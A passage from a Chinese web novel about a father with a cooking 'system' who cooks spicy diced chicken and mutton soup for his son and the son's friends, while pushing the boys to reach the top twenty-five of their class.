那下个学期你就吃食堂去。” 想到儿子说自己不管他，楚易文觉得之前还是想错了，不该因为那个梦就放低对他的要求, 觉得他只要健健康康就好。 “爸你在开玩笑吧？”楚瑾钰抱着侥幸心理问。 楚易文：“没开玩笑，你们班一共四十五个学生，你期末至少考到前二十五名, 我这要求不高吧？” 楚瑾钰：“……”这哪是要求不高，简直是要他的命。 其实楚瑾钰初中时成绩还凑合, 至少是班里中游，不过上高中后就放飞自我，高一下学期开始次次考试都是倒数几名。 就在楚瑾钰后悔觉得自己不该嘴欠说他不管自己时，余光忽然注意到胡一齐他们三看热闹的眼神, 心里瞬间就不爽起来。 饭是大家一起吃的，凭什么学习的苦就让他一个人来扛！ “他们也吃饭了！要考前二十五就一起考。” 楚瑾钰话落，商时贸用看傻子的眼神扫他一眼后才开口提醒：“我本来就是班级前十。” “我期中考试正好在第二十五名。”叶其林乐呵呵举手道。 不得不说，人与人之间的差距是真大，同样天天不好好学习, 作业不认真做，但他们两个人，尤其是商时贸，就是能在考试时考得还行。 差点忘记这回事的楚瑾钰先是一愣，随即转头看向胡一齐。 胡一齐：“看我干嘛？” “你期中考的比我还差两名。” “都是倒数，倒数第三和倒数第五有什么区别？”胡一齐不服气道。 “那区别可就大了。”楚瑾钰说完看向他爸，“爸，公平起见，我要求他们期末都跟我一样考前二十五名才行。” 他觉得叶其林期中能正好在二十五名只是运气好，四个人中除了商时贸，其他谁都别想跑，要学一起学。当然，他们三个都学了，商时贸要是自己去玩，那也有些说不过去。 “我是你爸，只能管你，他们的学习要求得他们家长说了算。”楚易文觉得自己还不至于手那么长，管到别人家孩子身上，哪怕这几个别人家孩子跟自己儿子关系特别好。 “胡一齐之前在学校天天咱爸咱爸地喊你，他都叫你爸了，你怎么不能管。” 楚瑾钰说完以为胡一齐会不好意思，没想到却是低估这家伙的脸皮。 “叔叔，你就是我没有血缘关系的亲爸，只要你开口，我绝对好好学习。” 楚易文不懂“没有血缘关系”和“亲爸”怎么能联系在一起，他下意识看向自家儿子，随即道：“你是不是忘记，如果你下学期吃食堂，就代表我可能不在家做饭了。” 他不做饭，楚瑾钰都没饭吃，他朋友就更没饭吃。 对哦！ 楚瑾钰反应过来，于是直接转头看向几个朋友：“要学一起学，不然大家都没饭吃。” 要是没吃过楚易文做的饭之前，叶其林他们绝对能来一句“不吃就不吃”，但现在，不让他们吃那可太难受了。 二十分钟后，四人在餐桌前坐着写作业，同样的桌子，同样的椅子，中午在这吃饭时有多开心，现在就有多难受。 “楚瑾钰你太傻了，讨价还价都不懂，咱爸说二十五名，你也不知道还个三十五或者三十。”胡一齐说完望着面前的数学卷子直叹气。 楚瑾钰：“你那么厉害你怎么不还，反正你爸都喊了。” “别吵了，早点做完早点解放。”商时贸嫌他们吵闹，开口道。 他们都已经是高中生，楚易文觉得不用人在旁边盯着，特意回书房里去，将餐厅空间留给他们。 书房中他也没闲着，正进入小饭馆开始经营模式。 第一次在小饭馆里做菜时，他辛辛苦苦好半天，最终获取积分竟然是负数。不过随后他又进入几次，好歹把负分给抹平。 有前几次经验在，今天楚易文心态更加平稳，听到菜名时就在心里规划起来，终于不再被语音播报一催菜就自乱阵脚，而是有条理地安排着每道菜。 【顾客下单苦瓜酿肉，请尽快出菜。】 【腌笃鲜即将超时，请尽快出菜。】 【顾客下单栗子烧鸡，请尽快出菜。】 腌笃鲜还有几分钟就可以出锅，楚易文听到催菜声没有急，而是先拿起剁骨刀将整鸡切块，把栗子烧鸡的食材先备好，转头无缝衔接将腌笃鲜出锅。 腌笃鲜他已经做过好几回，色香味越来越精进，盖子掀开时那股浓郁的鲜香就能把人眉毛给鲜掉，送到顾客面前时，直接得到好评。 成功获得好评积分，楚易文连高兴都来不及，继续开始做下一道菜。 在小厨房内不知道过去多久，直到感觉有点心累时，楚易文查看积分总额度，发现有五个积分后选择退出。 会的菜还是太少了，不然绝对不止这么点积分。 楚易文心里正有些可惜时，系统声忽然响起【叮~恭喜宿主获得五积分，奖励菜谱“辣子鸡丁”、“羊肉汤”、“干锅花菜”、“肉末茄子”、“松鼠鳜鱼”。】 他没想到当积分是正数时还能获得奖励，发现系统奖励了五个菜谱，不由猜测是不是根据积分数发放。 以系统的尿性，大概率只会奖励第一次，楚易文不免有些后悔，觉得早知道应该再坚持会，多赚个积分说不定就能多个菜谱。 不过想到万一他继续坚持下去，后面都是不会做的菜，那说不定积分又被扣成负数，他就不纠结了。 从小饭馆出来，楚易文拿起手机玩了会，直到快三点时，选择进入系统厨房学习辣子鸡丁。 辣子鸡丁属于川菜中的经典菜品，他今天买了几只鸡，还买了不少老人家自己晒的干辣椒，拿来做辣子鸡丁正合适。 鸡腿肉嫩滑，最适合用来做辣子鸡丁，楚易文进入系统厨房就先开始处理鸡腿肉。 “你这刀工还得练。” 老爷子看到他给鸡腿去骨的手法，越看越不顺眼，说完拿起刀演示一遍给他看。 单看刚才楚易文给鸡腿去骨，好像也没什么问题，但看完老爷子那干脆利落，丝毫不拖泥带水的刀法，简直人比人得死。 楚易文认真学习，但刀工是需要时间累计的，一时半会他可到不了老爷子那种境界。 鸡腿肉去骨切丁，放入碗中加料酒、生抽、盐等调料腌制，二十分钟后，他用淀粉将腌制好的鸡丁抓均匀，保证每块鸡丁都裹上薄薄一层淀粉。 鸡丁处理好，接下来就是炸，楚易文如今对火候把握已经挺有经验，六成油温后将鸡丁下锅，锅里冒着油泡的同时，鸡肉香味被高温激发出来，闻着就香。 老爷子站在旁边看着，见他将鸡丁炸至微黄就捞出来，微微点头后提醒：“复炸的油温保持在七八成热。” “知道了。” 楚易文应了一声，在七八成油温中将炸好的鸡丁再次下入油锅复炸，原本微黄的鸡丁很快就变成金黄色，不光色泽诱人，那股浓郁的焦香更是令人垂涎欲滴。 炸好的鸡丁放在旁边备用，他将锅中留少量油开始炒花椒，花椒香味被炒出来时，又香又有些呛人，而等到干辣椒下锅时，那辛辣的气息，更是呛得他差点没打喷嚏。 随着小火煸炒，辣椒颜色越来越深，浓郁的辣味飘满整个厨房。在干辣椒边缘已经被炒得颜色越来越深时，楚易文看老爷子的眼色飞快将葱姜蒜下锅炒出香味，把刚刚炸好的鸡丁倒入。 随着他几个熟练的颠锅，金黄色鸡丁和锅中花椒、干辣椒等配料均匀融合在一起，每块鸡丁都沾上花椒和辣椒的香气。 楚易文在系统厨房内学做菜时，餐厅内，他儿子正在听商时贸讲题。 没办法，数学这种东西，不会就是不会，非要让他自己做，他想破脑袋都想不出来，只能求助四人中最聪明的商时贸。 “我都说了让你直接套公式，你……” 只能说谁来辅导作业谁都会崩溃，商时贸感觉明明挺简单一道题，跟他怎么讲都讲不明白，肉眼可见地暴躁起来。 “数学太难了，要不下个学期咱们还是吃食堂吧。”楚瑾钰忽然觉得与其吃学习的苦，他还不如去吃食堂。 商时贸还没说什么，胡一齐第一个跳出来：“不行！食堂那是人吃的吗？” “会说话吗你？高一时咱们可是在食堂吃了一年。”楚瑾钰说完继续道，“其实我忽然觉得食堂也没那么难吃，实在不行咱们还可以吃外卖。” “拉倒吧，外卖也没好到哪去，吃多了跟食堂一样难吃。” 楚瑾钰看向胡一齐：“你可想清楚，那可是全班前二十五名。” “不就是前二十五名，之前是我不爱学，我要是认真起来，区区前二十五名算什么！” 楚瑾钰无语：“你到底哪来的自信？你先把你卷子上空着的那些题做完再说。” “我不会。”胡一齐说完见他朝自己翻白眼，补充道，“但我可以学。” 胡一齐说完拿起卷子看向叶其林，让他教自己。 于是等到楚易文从书房出来时，就看到四人正在一对一辅导，不由露出欣慰的表情。 现在才四点左右，不过他觉得可以先把鸡杀好，把汤炖上。 家里人多，楚易文怕一只鸡不够吃，直接去院子里抓了两只鸡，将鸡腿剁下来留着做辣子鸡丁，剩下的鸡肉切块加上羊肚菌、红枣、枸杞拿来炖汤。 由于是现杀的活鸡，放血放得比较干净，处理起来就没那么麻烦，很快楚易文就将焯好水的鸡块放入砂锅里开始炖汤。 鸡汤炖上大概过了半个小时，楚易文开始把米淘好，开始蒸米饭。 之前在老家带回来的米早就吃完，厨房里剩下的是刚在超市买的，楚易文总感觉这米没老家种的香，因此今晚蒸饭用的米是他花一积分在系统里兑换的。 一积分能换十斤米，他淘米时就感觉这米看起来很漂亮，而且米香浓郁，心里不由生起期待感来，迫不及待想尝尝它蒸好会是什么味道。 等到他把米饭蒸上时，外面天色已经开始变暗，楚易文将厨房灯打开，随即开始炒菜。 早在他开始炒第一道素菜时，餐厅那边几个孩子就已经有些坐不住，等到他开始做辣子鸡丁，炸鸡丁飘出去那股浓郁肉香以及焦香，直接把胡一齐他们全吸引到厨房来。 “好香啊！楚爸我可以尝一个吗？”胡一齐望着盆里表面炸着油花的鸡丁，看着就觉得好吃。 “还没炸好。” 楚易文说完，将鸡丁重新倒入油锅再次复炸，随着鸡丁颜色从微黄变成金黄，那股焦香混着肉香更加浓郁诱人。 鸡丁复炸好，见胡一齐眼巴巴望着，楚易文带着几分无奈拿碗装了四块鸡丁递过去。 鸡丁在第一次油炸时就已经挺酥脆，复炸将鸡丁中多余油脂逼出来，表皮瞬间变得更加酥脆。 腌制时鸡丁已经放了点盐来调味，此时吃起来没有成品那么香辣，但入口酥脆，咀嚼间满满都是鸡肉本身的鲜味。 一块鸡丁入口，楚瑾钰他们根本没吃够，甚至有种更馋的感觉，不过他们到底不是三岁小孩，自然不会闹着还要吃。 鸡丁炸好，接下来楚易文开始依次下入花椒和干辣椒，炒花椒时还好，只是稍微有点呛，等到干辣椒下锅，楚瑾钰他们纷纷转头对着门口方向连打好几个喷嚏。 楚易文倒是没打喷嚏，不过他闻着从锅里冒出来的辣味，感觉今天买的这干辣椒怕是辣度不小，才刚炒就那么呛人。 几秒后，楚瑾钰他们全都扛不住辣椒的呛人，纷纷跑回餐厅去，走之前不忘把厨房门关上。 楚易文见此，伸手将油烟机调到最大，同时减少辣椒的翻炒时间，不然他怕待会这道辣子鸡丁能辣坏人。 随着鸡丁下锅，厨房里辣味没有那么呛人，同时香味顺着窗户飘出去，又不知馋坏多少小区内的邻居。 六点多快七点时，楚瑾钰他们几个终于做完作业，纷纷洗好手重新跑到厨房，不用楚易文喊吃饭就自觉地盛饭、端汤、端菜。 “红彤彤的辣子鸡丁，看起来好好吃啊！” 饭菜全部上桌后，最引人注目的就数那盘辣子鸡丁，红色的干辣椒是这盘菜的主色调，而仔细去看，红色中藏着许多金黄油亮的鸡丁，整道菜油润光泽，光看着就令人食欲大开。 楚易文今天在码头菜市场买的干辣椒是真辣，明明他特意减少煸炒时间，然而此时依旧散发着刺激的辣味，同时这股辣味中还混着花椒的辛麻香气，鸡丁的焦香与肉香。 开饭后，楚瑾钰他们不约而同先朝辣子鸡丁伸筷子。 一口鸡丁进嘴，花椒的麻和干辣椒的辣瞬间在味蕾上弥漫开来，尤其是那股辣味，简直辣得像是在跟舌头打架一样刺激。 “呼……”楚瑾钰被辣得吐出口气来，然而随着他将鸡丁咬开，那外焦里嫩，咸鲜美味的滋味和辣意融合，吃起来又香又辣。 他还算好，本身就比较能吃辣，商时贸却是吃得脸都微微变红，强忍着才没直接“嘶哈”出声。 辣子鸡丁辣是真辣，香也是真香。商时贸将米饭塞进嘴里解解辣后，没忍住又夹块鸡丁塞进嘴里。 “嘶哈……”胡一齐却是辣得直接发出声音，但同时也不影响他继续吃，“楚爸，你炒的哈……太好吃了，就是有点辣嘶哈……” “上午在菜市场买的，我也没想到老人家自己晒的干辣椒那么辣，不行就吃其他菜吧，别把自己辣坏了。”楚易文说完自己尝了口，发现确实很辣，比他在系统厨房做的要辣好多。 “没事，就是嘶哈……就是要辣才好吃，嘶哈嘶哈……又辣又香……” 胡一齐说完边往嘴里扒饭边继续吃辣子鸡丁，感觉越吃越过瘾。 “我觉得还好。”叶其林话还是说太早，连着吃几块鸡丁后，越嚼越香的同时，辣味一点点在他味蕾上叠加，随即在一瞬间猛地窜起来，辣得他下意识端起汤。 加了牛肚菌的鸡汤特别鲜，但你要说用它解辣，那热汤的温度只会让你更加辣。 胡一齐看到他被热汤搞得更辣，直接笑出声来，本来想说“你不是觉得还好吗”结果乐极生悲，直接被嘴里带辣味的口水给呛到。 楚易文赶紧起身去拿了几瓶牛奶过来给他们解辣，胡一齐和叶其林喝完牛奶，总算舒服很多。 “你们不行就别吃了。”楚瑾钰看到他们一个个都差点要被辣哭，有些幸灾乐祸。 “我就要吃。” 这么好吃的辣子鸡丁，胡一齐怎么可能因为辣就不吃，他说完继续往碗里夹，不过这次却是学聪明，没敢再空口吃，而是配米饭一起往嘴里送。 麻辣鲜香，外焦里嫩的辣子鸡丁配上米饭，简直绝了，米香和肉香混合在一起，越嚼越香。 “爸，我怎么感觉今天米饭特别好吃？”楚瑾钰吃着吃着，忽然感觉碗里米饭特别香。 楚易文：“换米了。” “我是说，晚上米饭好像比中午的要香，我还以为是错觉。”胡一齐说完单独吃口米饭，感觉这饭单吃都很好吃。 辣子鸡丁本来就是道开胃下饭菜，加上晚上米饭好吃，很快楚瑾钰他们就都去盛了第二碗饭。 四人中数商时贸最怕辣，楚易文看到他被辣得脸上微微冒汗时，直接开口不让他再继续吃：“你先吃其他菜，要是喜欢吃辣子鸡丁，等下次我做点没那么辣的。” “好，谢谢叔叔。” 商时贸点头答应下来，就着其他菜把碗里饭吃完，随即开始喝汤。 砂锅炖出来的鸡汤特别漂亮，金黄色鸡汤看起来清澈不油腻，入口鲜香浓郁，里面鸡肉被完全炖烂，筷子轻轻一戳就脱骨，但吃进嘴里鸡肉却是并不柴。 冬天来上碗热乎乎的鸡汤，又好喝又暖身，更别说楚易文还在汤中放了红枣与枸杞，红枣那淡淡的清甜气息给鸡汤带来淡淡回甘，喝着令人有种特别滋润的感觉。 刚刚吃辣子鸡丁带来的燥热，随着鸡汤慢慢喝下去，商时贸感觉从喉咙到胃都瞬间舒坦起来。 大半碗汤下肚，他握着筷子将碗底鸡肉、红枣、羊肚菌一样样夹起来送进嘴里。鸡肉表面那层鸡皮已经被炖出胶质感，那香糯的滋味配上鸡肉的鲜嫩，越吃越觉得香。 炖汤里鸡肉的香没有辣子鸡丁那么刺激，更多偏向食材的本味，是另一种不同的好吃。 看到商时贸喝汤喝得那么香，楚瑾钰不由端起手边的汤碗，望着汤上漂浮的红枣，他顺手夹进嘴里，红枣吸收汤的咸鲜，一口咬下去，咸鲜味和枣本身的甜味瞬间在舌尖上蔓延开来。 以前他奶奶在世时也很喜欢用红枣炖汤，楚瑾钰还挺喜欢这种甜咸交织的味道，将红枣全部吃完才开始喝汤。 美好的双休总是过得特别快，当然，对楚瑾钰他们四人来说，这个双休可能美好中带着点痛苦，但不论如何，假期很快过去，转眼又来到星期一。 星期一对于学生党和工作党来说，大概都不是什么好日子，早上楚瑾钰起来感觉自己完全没睡够，直到吃着他爸做的鸡汤面才稍微精神些。 “爸，你真不用去公司了？” “对。” 得到肯定回答后楚瑾钰脸上露出羡慕的表情，觉得他要是也不用去学校那该多好。 第32章 羊肉汤 不去上学是不可能的, 吃过早餐楚瑾钰就来到学校，由于汤面不好带，他给叶其林三人带了点鸡蛋饼当早餐。 叶其林他们三人吃着鸡蛋饼时, 楚瑾钰直接将书本打开立起来，自己则趴在书后直接开睡。 天冷就是好睡觉，在早读结束其他同学都出去吃早餐时他还在睡，直接睡到第一节课。 “别睡了，想想第二十五名。”胡一齐见已经开始上数学课他面前还立着早读时的语文书，伸手推他两下，顺便好心地帮他把书换成数学课本。 读过书的都知道, 上课睡觉那是越睡越想睡，根本不想起来。楚瑾钰此时就是如此，直接把头转向另一边继续睡。 “醒醒, 快醒醒……” 被胡一齐像叫魂似地叫个不停，楚瑾钰终于抬起头：“二十五名哪有那么好考，直接放弃吧, 反正到下个学期还有几个月，说不定到时候就吃腻了。” 冬天加上星期一加上数学课, 简直buff叠满了，楚瑾钰是真提不起精神来学习，只想摆烂。 吃腻？ 胡一齐用“你在说什么胡话”的表情望着他，随即压低声音道：“就咱爸那手艺, 别说几个月，就是一辈子我也吃不腻啊！” 他说完继续道：“你想想腌笃鲜、红烧排骨、芋头烧鸡、啤酒鸭、蜜汁鸡翅、豆腐鱼汤、排骨豆角焖面、土豆丝饼、香煎薯粉团……” 一连串美食报出来，胡一齐自己都把自己说馋了，连吞好几下口水。 被他这么在耳边碎碎念个不停，楚瑾钰困意都被念跑, 打个哈欠后坐直身体道：“好了别说了，我已经起来了。” 二人坐直身体，桌上摆着数学书，眼睛看着黑板，瞧着倒是有几分好学生的架势，然而五分钟不到…… “不行，感觉跟听天书一样，要不我们下节课再好好学，反正数学分低不影响考二十五名。”胡一齐把楚瑾钰叫醒，现在自己却是被数学给打趴下。 数学这种东西，本来就是你稍微分下神可能就跟不上老师的思路，他们本身基础就一般，这节课前面又没听，能学得进才奇怪。 楚瑾钰见自己本来睡得正香，他非要把自己搞醒，现在又说不学了，瞪着他道：“胡一齐你是吃饱了撑的啊？学不进你非叫我起来干嘛？” 旁边，叶其林本来拿着一副扑克牌正准备拉商时贸打牌，在发现胡一齐叫楚瑾钰起来时，感觉他们这边戏比打牌好玩，于是单手玩着扑克牌看戏。 在看到他们学不到五分钟就重新趴回桌上，叶其林直接被逗笑，笑完好心提醒：“下一节也是数学课。” 楚瑾钰闻言，直接把眼睛闭上，入睡前丢下一句：“那我先睡会，第三节课再叫我。” 讲台上，数学老师其实能看见底下学生在干嘛，不过经过高一那一整年下来，老师们早就知道班里有些学生根本管不了，到现在，只要他们不影响课堂纪律，老师懒得管那么多。 睡觉时间过得特别快，随着下课铃响起两次，很快就到上午第三节课。第三节是语文课，语文老师刚进教室就先点了楚瑾钰他们四个的名字。 哪怕楚瑾钰他们不像普通学生那么怕老师，但突然被喊名字时还是下意识心里咯噔一声。 这周末四人一起在楚瑾钰家做的作业，所以老师点名肯定不是为作业的事。至于说睡觉，前面两节课楚瑾钰早就睡够，现在正精神地坐着。 好在很快语文老师就说清楚点他们名字的原因，出乎全班人意料，语文老师竟然在夸他们，而夸奖的原因是周末时语文老师刷视频看到他们在做好人好事。 楚瑾钰听到老师的夸奖，再看到同学们望过来的视线，感觉有点别扭。 好在语文老师表扬完就开始上课，很快就将大家的注意力拉回课本上。 下课后，胡一齐第一个翻出手机搜索起来，还真在码头菜市场相关视频中找到他们。 “你们看，视频拍得还挺好，评论区全都在夸咱们。” 视频开头背景是在船上，然后就是老人们挑着担子从码头出来开始爬楼梯，再然后就拍下楚瑾钰几个少年帮忙的画面，别说评论区，就连弹幕都在夸奖。 “不就是搭把手的事，有什么好夸的。”楚瑾钰看着那条视频说。 叶其林：“拍得确实不错，尤其是这个音乐声配的，还挺感人。” 课堂上语文老师夸时同学们就很好奇，此时听见胡一齐的声音，有同学直接凑过来看，还有自己带了手机的则是上网搜索起来。 “哇，这条视频点赞量好高！” “这是哪啊？为什么都是老年人挑着东西卖？” “你这跟‘何不食肉糜’有什么区别，肯定是没办法了他们才来买菜啊。” “那么长的楼梯，不挑东西爬都很累，怎么不装个电梯？” “你是不是傻？没看下面是江吗？之前洪涝时你没去江边看过吗？水直接淹到楼梯中间部分，要是装电梯，那隔三差五就得坏。” 同学们看着视频感叹老年人们不容易时，心里暗暗对楚瑾钰他们改观，觉得他们学习虽然不认真，但好像人还挺好。 邵言易就坐在附近，同样有在胡一齐手上看到那个视频，没办法，跟楚瑾钰被人夸了浑身不自在不同，胡一齐受到夸奖恨不得全天下人都知道，很乐意分享视频给大家看。 看到视频中那些老人，邵言易下意识想到自家奶奶，奶奶平常出去卖菜时经常也会遇到好心人，他看见楚瑾钰几人帮助老人的视频，就好像从他们身上瞧见平常帮自己奶奶的人。 上次雨天一起吃饭时邵言易就对他们有些改观，经过今天的视频，更加觉得他们人其实还挺好。其他方面他帮不上什么忙，在听到胡一齐时不时朝楚瑾钰念叨着全班第二十五名时，邵言易难得主动开口，表示有不会的内容可以来问他。 胡一齐闻言，直接拿出数学书：“那你给我讲讲数学老师上节课讲的内容。” 楚瑾钰有点心累，但见他那么努力，也不好再摆烂，勉强跟着一起听。 接下来的日子，商时贸还好，他本身成绩就不算差，叶其林则是减少上课开小差的时间，保证期末不掉出前二十五名就好。 只有楚瑾钰和胡一齐，前面是胡一齐催着楚瑾钰学习，后面学着学着又变成胡一齐有些想摆烂，楚瑾钰反过来念菜谱给他听。 时间进入十二月份，天气越来越冷，胡一齐觉得这种天气就时候睡觉，压根不适合学习。 “这日子没法过了……” “那要不放弃？俗话说得好，世上无难事，只要肯放弃。” “不行，那前面不是白学了！”胡一齐说完想到个好主意，“我想到个好办法，要不你去跟咱爸学做菜，学会以后想吃什么都可以自己做，就不用再学习了！” “说得那么简单，你怎么不去学？” “家传的手艺，肯定得你这个亲儿子学啊。” “没事，我不介意你去学。” 可能胡一齐带点乌鸦嘴，他才说让楚瑾钰学做饭，很快还真有让他自己动手的机会。 周四晚上他下晚自习回来，楚易文跟他说要替公司出趟差，让他明天吃一天食堂。 “周六的话你要是不愿意出去吃，也可以自己煮点饺子，冰箱里我特意冻了不少饺子，周末上午我应该就能回来。” 其实楚易文已经退出公司，按说出差不该他去，但谁让那边的关系之前一直是他在维护，这次算是带人去交接。 本来要认真学习就已经很苦，每天的盼头就是一日三餐，周五连这点盼头都没有，楚瑾钰直接摆烂。 周五晚上，他拉着胡一齐三人打游戏打到凌晨，第二天睡到中午才起床。 “爸……” 楚瑾钰醒来下意识喊他爸，发现人不在家才想起来他出差去，于是躺在沙发上看外卖。 外卖上能吃的就那些店，有些他去年就吃腻，有些刚着还行，但点开评论区翻几条差评，瞬间就胃口全无。 “看什么都不想吃，要不还是去煮饺子……” 楚瑾钰放下手机来到厨房，果然在冷冻柜中看到好多圆鼓鼓的饺子。 走之前楚易文有教他怎么煮饺子，但楚瑾钰此时望着冰箱里被冻得邦邦硬的饺子，一时却想不起来煮之前要不要解冻。 感觉煮饺子也有点麻烦，他想了一下，干脆去群里发条消息【来我家吃饺子，我爸包的皮薄馅大的猪肉白菜饺子，还有玉米虾仁馅的。】 半个小时不到，胡一齐、叶其林、商时贸三人全部过来，望着冷冰冰的饺子斜眼看他。 “看我干嘛？自己动手丰衣足食不知道吗？”楚瑾钰觉得他又没骗人，确实是他爸亲手包的饺子，语气很是理直气壮。 “你就缺德吧你！”胡一齐骂归骂，但饺子他还是想吃的，于是问，“饺子要怎么煮来着？” 楚瑾钰：“别问我，我不记得了。” “是不记得而不是不知道，看来叔叔教过你。”商时贸很会抓重点。 拌了几句嘴后饭还是得吃的，最终四人还是上网搜了一下，然后将饺子下锅。 “盐，得加点盐进去。” “饺子都没煮熟加什么盐？” “你懂个屁，网上说加点盐饺子皮不容易煮破……” 都说三个臭皮匠顶个诸葛亮，他们四个凑在一起，最终饺子倒是煮熟，就是卖相有些不大好看，而且锅里饺子汤差点没溢出来。 “真不容易。” 终于把饺子端上锅时，胡一齐忍不住感叹。 只能说幸好楚易文擀的饺子皮韧性好，被他们乱七八糟一通煮，大部分饺子都扛住，只有个别饺子被煮破。 “你说你，叔叔手艺那么好，你怎么就一点没继承。”叶其林望着碗中闻起来香，卖相要差不少的饺子说。 楚瑾钰早餐都没吃，这会早饿了，压根没功夫理他，直接埋头吃起来，冬天来碗热乎乎的水饺还是挺享受，软滑的饺子皮配上里面咸鲜细腻的饺子馅，越吃越香。 “其实就是饺子皮有些破了，但味道还挺好吃。”商时贸吃完第一个饺子后说。 胡一齐：“那肯定的，楚爸包的饺子当然好吃，也就是我们没煮好，不然更香。” 他们正吃着饺子时，楚易文可能是不放心，打了个电话过来。 “正在吃，吃的饺子，我跟胡一齐他们一起煮的，味道还行，就是饺子皮不知道为什么煮破了……” 电话那头，楚易文听到儿子把饺子给煮破，干脆在电话里教他做蒸饺。 “楚爸，你吃饭没？”胡一齐等楚瑾钰说得差不多时凑到手机旁，得到肯定回答后又问他什么时候回来。 “明天就回来，这边羊肉特别好，到时候带点回去给你们做羊肉汤喝。” 听到楚易文说羊肉汤，胡一齐还没喝就已经被馋到，一个劲说好。 楚易文没有骗人，他出差的地方羊肉特别出名，他回来之前特意买了好多现杀现切的羊肉用泡沫箱打包带回家。 本来他是计划周末上午就回来，没想到飞机晚点，最终下午一点才到家。 “作业做了吗？” 楚瑾钰原本看到他回来挺高兴，听到他问作业，表情瞬间就挎下来。 看他那个表情楚易文就知道没做，于是道：“你先写作业，下午给你炖羊肉汤喝。” “那我叫胡一齐他们一起过来写。” “好。” 楚易文说完先回房间把行李放好，洗个澡换身衣服后才去厨房将晚上要吃的羊肉拿出来，剩下的放进冰箱里冻好。 羊肉滋补，特别适合冬天吃，肥瘦相间的带骨羊肉用来炖汤更加香浓，他特意买了不少羊腿肉、羊排，还有羊毛肉、羊蝎子，甚至连羊蹄也买了些。 他在厨房忙活时，客厅内楚瑾钰正在呼朋引伴。 听到写作业时，叶其林他们三个纷纷婉拒，可在听到楚瑾钰说他爸要炖羊肉汤时，三人立刻又有时间。 “我真是服了他们三个，一喊写作业就是没空，一听爸你要炖羊肉汤，立刻就说过来。”楚瑾钰忍不住走到厨房吐槽起来。 楚易文闻言轻笑一声：“那我可得把羊肉汤炖好，免得让他们失望。”说话间他已经将带骨羊肉剁成块，放入水中浸泡着去血水。 楚瑾钰站在厨房门口看着，觉得就这干脆利落的剁骨自己都学不来，亏胡一齐还想让他学做菜。 “晚上主食想吃什么？米饭还是面条？” “吃面。” “行，那我做点手擀面，到时候用羊汤一煮就能吃。” 趁着羊肉还在浸泡，楚易文顺手拿出面粉开始揉面。 等到胡一齐他们几个过来时，楚易文已经将手擀面做好，根根分明的手擀面躺在案板上，散发着面粉特有的麦香。 “楚爸你这面擀得真好，看着就特别筋道。” 得知晚上有羊肉汤加手擀面吃，胡一齐眼睛都亮起来，哪怕接下来要去写作业都不影响他心情好。 楚易文跟他们简单聊几句，很快就从胡一齐口中得知，他们昨天玩了一天，晚上还打游戏打到好晚，作业更是一点都没做。 他心里有些无奈，不过倒是没说批评的话，只是让他们赶紧去写作业，等写完差不多就能吃饭。 “你是不是傻，怎么我爸问什么你都说？”楚瑾钰有些无语。 胡一齐：“那没办法，谁让我吃人嘴短，一顺口就都说出来。” “你下次别说话了。” “怕什么，我觉得楚爸挺好的，他又没说什么。”胡一齐不以为意道。 楚瑾钰“呵呵”了一声后道：“这个学期是二十五名，你猜下个学期会是多少？” “不……不至于吧？” 胡一齐觉得让他考前二十五名就有点要命，要是再往前，他想都不敢想。 “想那么多干嘛，先把这学期过去再说。”叶其林安慰道。 四人开始做作业时，厨房内，楚易文将泡好血水的羊肉捞出来开始焯水。不管是泡血水还是焯水，都是为了去除羊膻味，而他带回来的羊肉本身膻味就不重，经过姜片、葱结、料酒焯水后几乎闻不到什么味，只余下羊肉本身的肉鲜。 焯好的羊肉用温水洗干净表面附着的血沫杂质，楚易文将肉放入砂锅中加入热水，又依次把姜、葱、花椒、白芷等配料下进去。 大火烧开时，已经能闻见肉香味，他用勺子将表面浮沫撇去，在砂锅中咕噜咕噜冒着小泡泡时，盖上盖子转小火开始炖。 羊肉汤想要好喝，首先得选好食材，其次就是去膻，最后就是把握好火候。 这道菜楚易文在系统厨房里学会已经有段时间，只是出去买菜时总是没遇到让他满意的羊肉，所以一直没做。 没想到这次出差倒是给了他买羊肉的机会，同时还让他又获取好几道和羊肉相关的食谱，可以说是收获满满。 小火慢炖过程中，能听见砂锅里汤咕噜噜冒泡的声音，同时羊肉鲜味顺着排气孔缓缓溢出来，香味越来越浓郁。 厨房里羊肉汤正炖着时，餐厅内，楚瑾钰作业写到一半人已经从坐变成趴着。 唉…… 望着面前的作业，他心里忍不住叹气，忽然觉得之前他爸不管他时好像也挺好，作业根本不用自己做，去学校抄一下就行。 胡一齐同样不爱做作业，但闻见从厨房飘过来的羊肉鲜味，他却是瞬间有了动力。 “赶紧写啊，别等会饭好了你还没写完。” 楚瑾钰记得以前胡一齐明明比他更讨厌做作业，见他现在还催上自己来，觉得他果然是个吃货。 “写不动了，我忽然发现跟你比起来，我好像也没那么馋。” “你想想食堂腻能死人的肥肉片，再想想又柴又咸的烧鸡块，还有一股腥味的蒸蛋，你难道还想回去吃这些？” 反正胡一齐觉得他是不想。 楚瑾钰不想跟他说话，转头看向商时贸：“你写到哪了？给我抄一会。” 楚易文从厨房出来就听见儿子这句话，淡淡道：“给你干嘛？” “爸你吓死人了！”楚瑾钰是真有被吓到，差点没从椅子上跳起来。 “不做亏心事，你怕什么？” 楚易文说完一直盯着自家儿子看，直到把他看得心虚，主动保证不会抄作业后才转身重新回厨房去。 “别说，你爸板着脸时看起来还挺有威严。”叶其林小声道。 楚瑾钰不想说话，握着笔用力写着，觉得这日子简直没法过了。 写作业时他觉得难受，然而等到作业写完可以吃饭时，随着浓郁的羊肉汤香味扑鼻而来，那种纯粹的肉香，光是闻着就令他感觉很滋润。 羊肉汤被炖成温润的奶白色，羊肉的脂香被完全炖入汤中，浅褐色的羊肉卧在汤中，配上点点翠绿色葱花洒在上面，卖相特别诱人。 “太香了！” 胡一齐以前没少喝羊肉汤，然而却是头一次发现羊肉汤能那么鲜，还没喝就让他嘴巴里已经浮现肉鲜味。 羊肉鲜中夹杂着来自白芷等配料的草本香气，却没有半点膻味，商时贸光是闻着就觉得很喜欢。 等真喝到汤时，醇厚的鲜味瞬间在口腔弥漫开来，这股鲜味来自羊肉和羊骨髓中被炖出来的精华，盐的加入更加衬托羊肉的鲜味，同时余味中淡淡的白胡椒味为羊肉汤带来一丝辛辣的暖意，喝完从胃暖遍全身。 喝着喷香的羊肉汤，楚瑾钰瞬间浑身都舒坦起来，刚刚写作业时产生的负面情绪被一扫而空，甚至有种喝到如此美味的汤，什么都值得的感觉。 